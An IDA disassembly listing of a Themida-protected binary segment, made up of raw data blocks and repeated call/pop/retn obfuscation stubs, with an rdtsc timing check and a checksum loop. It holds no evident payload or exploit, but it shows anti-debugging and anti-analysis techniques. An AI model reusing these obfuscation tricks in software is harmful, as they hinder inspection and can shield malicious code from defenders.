dd 0BB66DF8Bh, 0C6CE1Ah, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 8E98F02h, 0CE000000h
dd 11BA2114h, 0C70D148Ah, 1523F585h, 6, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 6E1DD302h, 0C4D450BBh, 81661862h, 0E9DFA9F7h, 0FFFFF3BEh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0EAC35747h
dd 15B3C6B7h, 0B93E092Bh, 0D15FBFF7h, 0C18B5E93h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 15h, 83C35040h, 119D2945h
dd 8006150Dh, 858D5ADBh, 615279Dh, 2F8781BFh, 4895024h
dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h
dd 0C3564600h, 221C35C6h, 9DB58960h, 8B061517h, 151889BDh
dd 6A6106h, 51B3B660h, 8E9h, 0A102B900h, 0E81108AAh, 6A615BD4h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 0B6DD39B7h, 2E1F48A7h, 0BF0DBF66h, 0F970858Dh
dd 6A0619h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 7D04F8C3h, 2672300Eh, 832ECB80h, 6A05C0h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 0F8D4A4C3h, 45C03F46h, 5D9D8B6Ch, 50061501h, 8CBF6650h
dd 4895B92h, 0D1858924h, 6A061500h, 81BD8B00h, 66061522h
dd 6ADE8Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 0B5C35141h, 0BC040921h, 2DBD8B66h, 0FF06152Dh
dd 15267995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1D04h, 0C3504000h, 0DFF79AF0h, 0E270AD8Dh, 830FB35Bh
dd 9, 0BAF78A60h, 93907C5h, 158D8D61h, 6A06189Ch, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 0DADFC357h, 619D89F3h, 0BB061527h, 7E390C76h, 6AD1FFh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 89633AC3h, 15021585h, 4CBB5206h, 5F128478h, 18F59D8Bh
dd 0BD830615h, 6152DB5h, 7C850F01h, 60000000h, 3820EA81h
dd 61F513B6h, 6A026Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 160424h, 51410000h, 4D7658C3h, 0F5050F8h, 28Ah, 5FFB8B00h
dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 54B5C351h, 0FFCBBF19h, 151D4D95h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h
dd 0C3534300h, 0E917C760h, 0DC3h
; ---------------------------------------------------------------------------
loc_5C93A4: ; DATA XREF: Themida_:00579B00o
; Themida_:0057B730o
call $+5
pop ebp
sub ebp, 619F97Ah
push 0
push ebx
call sub_5C93BB
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C93BB proc near ; CODE XREF: Themida_:005C93B3p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5C93BB endp
; ---------------------------------------------------------------------------
cmpsd
pushf
daa
xor [ebp+6151A35h], ecx
push 0
push ebp
call sub_5C93DF
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C93DF proc near ; CODE XREF: Themida_:005C93D7p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_5C93DF endp
; ---------------------------------------------------------------------------
db 0B8h
dd 53755C4Eh, 819FF369h, 0F3A55EBh, 1853117h, 8D06151Dh
dd 1888F985h, 29BD8B06h, 90061517h, 8E8h, 0BD0A7900h, 5A3C799Dh
dd 11E903h, 3D6A0000h, 0F765DE6Bh, 41A50910h, 97668C0Eh
dd 5B883F3Eh, 8E950h, 0C190000h, 0C34CB249h, 64906F9Dh
dd 35FFh, 0B70F0000h, 258964F8h, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5C945F
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C945F proc near ; CODE XREF: Themida_:005C9457p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5C945F endp
; ---------------------------------------------------------------------------
db 13h
dd 8ED747EEh, 0FFFD2738h, 15153585h, 0FF6AF906h, 66DABF0Fh
dd 2E1BD781h, 3375B5FFh, 6A0615h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 0C0FD84C3h, 2B4D6D13h
dd 0FABFDF8Bh, 0FF157DC0h, 1508BD95h, 0F5E906h, 9D890000h
dd 6150D01h, 0B8B300B0h, 9E870E6h, 0F9000000h, 84AE97D6h
dd 875BD615h, 8971E45Bh, 1519CD95h, 0F613C06h, 0CA83h
dd 0FF88B00h, 8589C8B6h, 61525C9h, 26C59D8Bh, 6BA0615h
dd 1000000h, 1528B1BDh, 81C18B06h, 31CCCCFh, 4E8C134h
dd 0F766CAB3h, 0F0F781E2h, 2B40B4F3h, 0F5D18BC8h, 21CDBD8Bh
dd 88E90615h, 8B000000h, 15115DBDh, 44858B06h, 8B5F4C4Ch
dd 15135DBDh, 7C08306h, 0C2B70F60h, 2685B58Bh, 83610615h
dd 0BD2300C0h, 6152E5Dh, 830FD03Bh, 1Fh, 7810Fh, 66500000h
dd 994ED781h, 6820F5Fh, 81000000h, 86CD8CD7h, 39E97Fh
dd 8BF90000h, 0FFFFFF8Dh, 0F8CF81FFh, 8932D607h, 15033185h
dd 1E18306h, 1D840Fh, 0A5830000h, 0FFFFFFFFh, 0C18531FEh
dd 89061528h, 4C4C4495h, 0F703BF5Fh, 0E919B6h, 8D000000h
dd 1971A4B5h, 0CE906h, 0D3D00000h, 66B47F2Bh, 0B514320Fh
dd 6A8764h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 6AC35141h, 0E8A9C338h, 0Dh, 0BCFAD22Bh, 2F67FB1Ch
dd 0A799FA31h, 5FFE8B75h, 10E8h, 0FBFCCE00h, 495DF507h
dd 0CDDBD521h, 1621D88Ah, 599D8BD1h, 5B061522h, 2E2195FFh
dd 0B5890615h, 6152EE1h, 0FE8B9h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 4AC343F1h
dd 86763347h, 0ADBD8B24h, 83061507h, 0BD2BFCE1h, 6151DDDh
dd 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h
dd 0C3564600h, 1F8A6A03h, 82350470h, 8B0F5713h, 8, 69BD2952h
dd 5F06152Dh, 28DDB589h, 0C02B0615h, 0BAh, 3D9D8900h, 8906151Ah
dd 15251DBDh, 0C233AD06h, 0D003E8D1h, 7504E983h, 820FF4h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 16042444h, 47000000h, 0C3CEC357h, 880DE7h, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 81668AC3h, 0E89E53C7h, 0Eh, 0F9E7CE84h, 0BC11F4F7h
dd 6864C8FDh, 8B5B30FEh, 15272195h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0C463B828h
dd 0F9F7E443h, 28CD9501h, 8D8B0615h, 61504CDh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 21C35545h, 8C20FED8h
dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 0E9FCA2C3h, 0Dh, 0A0239B6Bh, 3F69A70Dh, 8DDDA6CDh, 0A9BD8333h
dd 61518h, 73840Fh, 0B5890000h, 615182Dh, 0B8h, 11BD8B00h
dd 8D061500h, 154F9E8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 0BD89296Dh, 6150C6Dh
dd 0E1FFDF8Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 9AC35040h, 8166F8DBh, 0F98E9EBh, 687h, 23EF8100h
dd 8B282498h, 1503C59Dh, 15BD8306h, 61511h, 3E7840Fh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
dd 1786FBC3h, 0BD9D8B11h, 9061506h, 152FF5B5h, 15BD8306h
dd 1061511h, 3CA840Fh, 8B660000h, 15BD83DEh, 3061511h
dd 384860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 2C086C3h, 0F9D11EA2h, 9D23C2A9h
dd 615047Dh, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1504h, 0C3564600h, 8D894DFAh, 61501ADh, 8C66DD8Ah, 0DBB70FD9h
dd 6A04E180h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1D042444h, 43000000h, 0D898C353h, 6FC2E8FFh, 54CF723Bh
dd 0D4D977BBh, 0FC90A01h, 10384h, 0F98B6600h, 249D858Bh
dd 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
dd 55450000h, 0E7E1CEC3h, 63952812h, 85333F53h, 61519B5h
dd 1C81BD2Bh, 0C7810615h, 1BF1B014h, 0ABF50h, 48974C1h
dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h
dd 0C3504000h, 8E3B6BC8h, 942D3394h, 6A006AE8h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 40F7C351h, 66579BFBh, 685BFE8Bh, 9B7E4E70h, 81DA8B66h
dd 0B58F2404h, 6A64A0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 190424h, 53430000h, 809DFAC3h, 57C14708h, 179BD8Bh
dd 0FF5F0615h, 150DAD95h, 3FBB6606h, 99858963h, 6A0618BFh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 20EAC353h, 0D19D8BF8h, 0E9061518h, 18Ah
dd 0BF91858Bh, 0BD230618h, 6150CADh, 1800C7h, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 8B525BC3h, 18BF95B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 30129F05h, 9A109216h
dd 5E8C297h, 1000000h, 4AD1F1BAh, 1D0D8589h, 8B5F0615h
dd 1508219Dh, 45858B06h, 6A06150Ch, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0F8CBC357h
dd 0D625D687h, 89F94FEBh, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0B5894EF6h
dd 6152A8Dh, 249D858Bh, 0B70F0615h, 44689F9h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0CEC35747h, 5576D0E4h
dd 807E2339h, 6E915CFh, 49000000h, 0BE1186DDh, 8B6650C0h
dd 243489D9h, 2840Fh, 0D88B0000h, 0BF91B5FFh, 0BD8B0618h
dd 6152681h, 0CBB68C68h, 0CE906h, 62760000h, 0FD1C3EA2h
dd 1A520168h, 348186A2h, 0D4B57324h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 2FBADFEEh
dd 29DBBF0Fh, 1507E18Dh, 99858D06h, 310618BFh, 15134D8Dh
dd 800F9006h, 2, 66505B56h, 6690DE8Bh, 0BB66FA8Bh, 95FF0ACEh
dd 6150DADh, 28E5BD8Bh, 29610615h, 151A0595h, 1585C706h
dd 3061511h, 89000000h, 15229D8Dh, 858B6006h, 6151315h
dd 99BD8361h, 618BFh, 40840Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 2BDEB9C3h
dd 803FD8D8h, 32E9C8F7h, 8A000000h, 9E8D8h, 0AD330000h
dd 1B4309C6h, 89F01DD5h, 15119595h, 30505F06h, 4400110Ch
dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h
dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h
dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 52006AC0h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1904h, 0C3524200h, 29F84D68h, 6A66C2h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 170424h, 50400000h, 7F9609C3h
dd 0FD8D3109h, 89061514h, 1514B185h, 15BD8306h, 3061511h
dd 462850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 0BD898AC3h, 6150815h, 0BF99BD83h
dd 0F000618h, 43384h, 998D8900h, 0FF061505h, 18BF99B5h
dd 4DBF6606h, 0CD9D8979h, 0FF06150Ah, 1510E195h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 0A0D40C8Eh, 0B58B54D4h, 618BF8Dh, 13158D89h, 6C70615h
dd 10001h, 9E950F5h, 44000000h, 2BC52750h, 138F9699h, 8B243489h
dd 99B5FFF9h, 290618BFh, 151E0D9Dh, 0A195FF06h, 6A061506h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h
dd 42000000h, 5424C352h, 0CA34342Eh, 6632BCD0h, 37BCB81h
dd 0BF8DB58Bh, 6A0618h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 1594D8C3h, 57193CE6h, 0FB64ED2h
dd 586h, 0CF816600h, 858B43BDh, 6150059h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 17h, 0C4C35343h, 89A3A059h
dd 0C486h, 35B50100h, 8B061530h, 15272195h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 1D16C548h, 0FDE14433h, 9589645Bh, 61516E1h, 6604C283h
dd 5089FA8Bh, 55006A20h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1604h, 0C3554500h, 8DB06746h, 18D45885h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 3243EAADh, 0E8F43020h, 0CE9h, 7F65D600h, 1923220Eh
dd 0E904246Ch, 89DE8BD8h, 0B886h, 6AF800h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0F9C35343h, 0F5913D68h
dd 178F0Fh, 12E90000h, 6000000h, 0E364D103h, 22A91906h
dd 0B3F3DDA4h, 0A16C4490h, 0FFF88B6Ch, 18BF99B5h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 168276C7h, 95FF50B3h, 6151D4Dh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 45C35242h, 0A4174325h, 0AE9F0h
dd 0CB2E0000h, 6F73470Ah, 8DC41582h, 24CD9D8Bh, 66960615h
dd 0F50D98Bh, 289h, 96F98B00h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 26C35747h, 26E97AB6h, 3A57B103h
dd 0FFDA8B66h, 18BF99B5h, 0A59D2906h, 0FF061517h, 15072995h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 0FDA033B9h, 0AC4235C4h, 899D8B8Eh, 8306150Dh
dd 150065BDh, 840F0006h, 21h, 5E9h, 79731900h, 0E996B9BAh
dd 8, 0BB864767h, 29C3B808h, 96FB8B50h, 0BECF8166h, 99B5FFD2h
dd 6A0618BFh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 17042444h, 41000000h, 5C90C351h, 8B66A497h, 3995FFF8h
dd 6A061504h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 0E85CC356h, 0BF99B5FFh, 9D8B0618h
dd 6152F2Dh, 0DCD95FFh, 5E90615h, 0B3000000h, 986F29DFh
dd 285DBD83h, 0F020615h, 9F84h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 75C9C66Dh
dd 6E20D09Eh, 8BD98BA0h, 15284985h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0F77D1F4h
dd 666030BDh, 0E8754DBBh, 12h, 0A505031Ah, 0ACFCB935h
dd 0F4A34180h, 2E3603DDh, 0BD8B34C6h, 61526D1h, 9D8B615Ah
dd 61522D9h, 6A0000C6h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1D042444h, 43000000h, 8D02C353h, 4CF3C8B2h
dd 1B05D1B2h, 23F585C7h, 615h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 1869D6C3h
dd 22F7E7ECh, 0AE9B2h, 37050000h, 0FCE9707Ah, 49E01FCh
dd 0FFF361E9h, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1404h, 0C3534300h, 6AC18B08h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 9367C352h
dd 0DBD0BFF8h, 8B0F6ABEh, 0
; ---------------------------------------------------------------------------
mov di, dx
lea eax, [ebp+615279Dh]
push 0
push esi
call sub_5CA178
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA178 proc near ; CODE XREF: Themida_:005CA170p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_5CA178 endp
; ---------------------------------------------------------------------------
ja short near ptr byte_5CA1F3
das
retn
; ---------------------------------------------------------------------------
push ss
xor ecx, [ebx+1508159Dh]
push es
sbb bl, 0D4h
push eax
pusha
push eax
call sub_5CA1A8
imul edi, esi, 3A747h
das
jo short loc_5CA21C
; =============== S U B R O U T I N E =======================================
sub_5CA1A8 proc near ; CODE XREF: Themida_:005CA19Ap
arg_24 = dword ptr 28h
pop esi
pop edx
popa
mov [esp-28h+arg_24], eax
push 0
push ebx
call sub_5CA1B9
and [ebx-3Dh], bl
sub_5CA1A8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5CA1B9 proc near ; CODE XREF: sub_5CA1A8+9p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5CA1B9 endp
; ---------------------------------------------------------------------------
and ebx, [edx+ebp*2+0]
push 0
push ebp
call sub_5CA1D8
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA1D8 proc near ; CODE XREF: Themida_:005CA1D0p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_5CA1D8 endp
; ---------------------------------------------------------------------------
dd 16407C46h, 352B51E2h
db 0E8h, 10h, 0
byte_5CA1F3 db 0 ; CODE XREF: Themida_:005CA188j
dd 0F23BEF00h, 8AB59AFEh, 0AF95FCD0h, 8356FA2Ch, 399529D6h
dd 5F061509h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
; ---------------------------------------------------------------------------
loc_5CA21C: ; CODE XREF: Themida_:005CA1A6j
and al, 4
add dword ptr [esp+4], 1Bh
inc ebx
push ebx
retn
; ---------------------------------------------------------------------------
db 0BFh, 0C9h, 0Ch
dd 5584719h, 6810F2Ch, 89000000h, 1534798Dh, 4B858D06h
dd 0F9061A09h, 9799D89h, 0C0830615h, 0CF816605h, 50908A0Fh
dd 0F5B5252h, 0E3D3BF31h, 585A0864h, 0FE8B6650h, 55006A90h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 810FCD6Dh, 2, 6ADE8Ah, 6AF88B66h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 22CA5ED4h
dd 9E887h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5CA2B6: ; DATA XREF: Themida_:0057C918o
sbb byte ptr [ecx-4Ch], 0A8h
leave
push edi
add bl, [edi]
js short near ptr loc_5CA324+2
mov ebx, 0FF5BCD61h
xchg eax, ebp
jns short loc_5CA2EE
adc eax, 0E99D8906h
db 2Eh
adc eax, 158D8D06h
pushf
sbb [esi], al
mov edi, [ebp+61533D9h]
jmp loc_5CA2EE
; ---------------------------------------------------------------------------
sbb ebp, [eax]
add al, 0ADh
inc ecx
mov byte ptr [ebp-193E450Fh], 20h
movsb
loc_5CA2EE: ; CODE XREF: Themida_:005CA2C6j
; Themida_:005CA2DCj
call ecx
cmc
cmp dword ptr [ebp+6152DB5h], 1
jnz loc_5CA37A
push 0
push eax
call sub_5CA309
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA309 proc near ; CODE XREF: Themida_:005CA301p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_5CA309 endp
; ---------------------------------------------------------------------------
db 9Ah, 0ECh, 69h
; ---------------------------------------------------------------------------
mov byte ptr ds:6A026AFDh, 0
push edi
loc_5CA324: ; CODE XREF: Themida_:005CA2BEj
call sub_5CA32C
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA32C proc near ; CODE XREF: Themida_:loc_5CA324p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5CA32C endp
; ---------------------------------------------------------------------------
inc esi
mov edi, [ebp+615024Dh]
push eax
push eax
push edx
jmp loc_5CA355
; ---------------------------------------------------------------------------
db 9Dh
dd 9B7EB3A1h, 146F55F4h
; ---------------------------------------------------------------------------
push eax
loc_5CA355: ; CODE XREF: Themida_:005CA346j
rdtsc
jge loc_5CA360
mov di, dx
loc_5CA360: ; CODE XREF: Themida_:005CA357j
pop edx
pop eax
mov [esp], eax
jnp $+6
call dword ptr [ebp+6151D4Dh]
jno loc_5CA37A
movzx ebx, bx
loc_5CA37A: ; CODE XREF: Themida_:005CA2F8j
; Themida_:005CA371j
jmp loc_5CB025
; ---------------------------------------------------------------------------
loc_5CA37F: ; DATA XREF: Themida_:0057A114o
call $+5
pop ebp
sub ebp, 61A0955h
movsx edi, si
push 0
push ecx
call sub_5CA399
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA399 proc near ; CODE XREF: Themida_:005CA391p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5CA399 endp
; ---------------------------------------------------------------------------
xor ds:49ED74B4h, al
mov [ebp+61506E5h], ebx
lea eax, [ebp+61888F9h]
push 0
push eax
call sub_5CA3C6
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA3C6 proc near ; CODE XREF: Themida_:005CA3BEp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_5CA3C6 endp
; ---------------------------------------------------------------------------
dw 3CE5h
dd 0CF711286h, 81112B5Dh, 765CFAD3h, 8C0F501Fh, 2, 489FE8Bh
dd 0FD9D2924h, 6406152Eh, 35FFh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 150424h, 50400000h, 0F2447C3h
dd 389h, 0B3C78000h, 258964h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 96C3C357h
dd 48A0Fh, 0BB660000h, 9D33FD57h, 61528E1h, 153585FFh
dd 0B5890615h, 61502BDh, 6AFF6Ah, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 0FF2EBEC3h, 150009B5h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 2B6CE3AAh, 1526F99Dh, 0BD95FF06h, 0E9061508h
dd 0FEh, 0B0DF8Bh, 2ABD9D89h, 70E60615h, 2459BD31h, 71E40615h
dd 0F613CF5h, 0E183h, 8E800h, 6EA80000h, 0A94B5258h, 8F0F7E5Ch
dd 6, 10D1BD29h, 0F5F0615h, 8166C8B6h, 8B1D3FEFh, 150AE1BDh
dd 6BA06h, 820F0000h, 6, 1558D89h, 0C18B0615h, 14B59589h
dd 0E8C10615h, 2DBD2B04h, 66061510h, 0BD8BE2F7h, 6151735h
dd 0C4B7C82Bh, 0E9F9D18Bh, 82h, 699BD8Bh, 858B0615h, 47554C50h
dd 13899D8Bh, 0C0830615h, 1BD8907h, 8306150Eh, 0B50900C0h
dd 6150519h, 0D6E8BF66h, 830FD03Bh, 10h, 0CE24F8BBh, 48E929h
dd 9D310000h, 6152AEDh, 0FFFF8D8Bh, 0E183FFFFh, 33840F01h
dd 29000000h, 15212185h, 0FFA58306h, 0FEFFFFFFh, 89FA8B66h
dd 554C5095h, 0FE847h, 58200000h, 37918F84h, 97424EE6h
dd 760CD07Ah, 95F380A9h, 0E95Fh, 0B58D0000h, 619818Ch
dd 232D8D29h, 6A0615h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 17h, 32C35242h, 0E9C3563Ah, 13h, 5539FFAFh
dd 3542F4D2h, 0B85F5A70h, 5132FAD0h, 0FF39585Bh, 152E2195h
dd 0CBB9F806h, 6000000Eh, 0E9F28B66h, 14h, 46D7CF0Bh, 43BE92ACh
dd 0C2C37BA6h, 0FD764888h, 5217714Ah, 0FCE18361h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0D8C35343h, 7D6EA7ECh
dd 80F33C60h, 0D58D898Eh, 66061527h, 0A6DFDB81h, 0C02BF8FCh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0D4C35040h
dd 0BAE9FA21h, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5CA68B
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA68B proc near ; CODE XREF: Themida_:005CA683p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5CA68B endp
; ---------------------------------------------------------------------------
sbb [edi+4Bh], dl
cld
inc esi
jmp loc_5CA6B3
; ---------------------------------------------------------------------------
db 0E7h, 6Ah, 0E6h
dd 2280375Bh, 0D1195ED5h
db 0A2h, 0CBh, 0AEh
; ---------------------------------------------------------------------------
loc_5CA6B3: ; CODE XREF: Themida_:005CA6A0j
; Themida_:005CA6BDj
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5CA6B3
push 0
push ebx
call sub_5CA6CA
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA6CA proc near ; CODE XREF: Themida_:005CA6C2p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_5CA6CA endp
; ---------------------------------------------------------------------------
dw 0DC87h
dd 0E8068C2Eh, 10h
dword_5CA6E4 dd 3C086FD9h, 736F4ADBh, 0D59F3EF7h, 9FFF2529h, 26259D89h
; DATA XREF: Themida_:0057AE44o
dd 895F0615h, 151415BDh, 880D06h, 8E90000h, 0DC000000h
dd 5D1D503Ah, 8B3D2121h, 15272195h, 0C381F906h, 5AAA6D0h
dd 4CD8D8Bh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 73EB5AC3h, 9B9510B3h, 8B500BA5h
dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E6C35646h, 800FAA05h
dd 6, 2275BD23h, 9D230615h, 61512FDh, 6AD9B70Fh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 0E853C353h, 71AA30D6h, 0F83EAF77h, 18A9BD83h, 0F000615h
dd 7884h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1404h, 0C3514100h, 0CD9D095Bh, 0B806152Dh, 0
; ---------------------------------------------------------------------------
mov edi, ecx
clc
lea ecx, [ebp+6154F9Eh]
push 0
push edi
call sub_5CA7FC
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA7FC proc near ; CODE XREF: Themida_:005CA7F4p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5CA7FC endp
; ---------------------------------------------------------------------------
dd 6AE1FFE9h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 47DC351h, 0CF593D60h, 81E8ADB5h
dd 28E01DCBh, 15BD837Fh, 61511h, 3A0840Fh, 6A0000h, 3E855h
